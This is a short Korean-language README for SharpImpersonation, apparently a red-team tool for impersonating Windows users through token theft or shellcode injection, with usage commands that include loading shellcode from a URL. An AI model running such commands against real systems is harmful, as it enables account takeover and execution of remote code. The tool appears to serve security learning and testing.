s3cur3th1ssh1t/sharpimpersonation토큰 또는 셸코드 인젝션을 통한 사용자 가장 도구
이 프로젝트는 학습 목적으로 제가 직접 만들어본 것입니다. 잘 알려진 기술들을 사용하여 다른 공개 도구들에 비해 몇 가지 개선 사항을 추가한 또 하나의 가장(impersonation) 도구를 구축했습니다. 코드베이스는 다음에서 가져왔습니다:
소개에 관한 블로그 게시물은 여기에서 확인할 수 있습니다:
PS > PS C:\temp> SharpImpersonation.exe list
PS > PS C:\temp> SharpImpersonation.exe list elevated
PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>
PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>
PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>
PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
